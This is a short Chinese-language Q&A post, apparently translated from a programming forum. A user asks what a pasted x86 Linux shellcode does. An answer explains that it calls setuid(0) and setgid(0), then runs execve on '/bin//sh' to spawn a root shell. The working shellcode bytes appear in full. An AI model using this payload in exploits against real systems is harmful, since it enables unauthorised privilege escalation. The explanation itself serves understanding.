我使用缓冲区溢出调用shellcode来生成root shell。有人能解释一下这个shellcode究竟是做什么的吗?我尝试过不同的shellcode来生成root shell,但这是唯一适合我的shell。
\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68
\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd
\x80
答案 0 :(得分:3)
乍一看,代码似乎是setuid(0)
,然后是setgid(0)
,然后在某些值(包括sys_execve()
的ASCII代码)上调用"/bin//sh"
。
看起来这是纯粹的“有效负载”代码,因为我没有看到任何东西来确保代码首先执行(缓冲区溢出,堆栈粉碎等)。
(感谢@Hans Lub提供反汇编链接)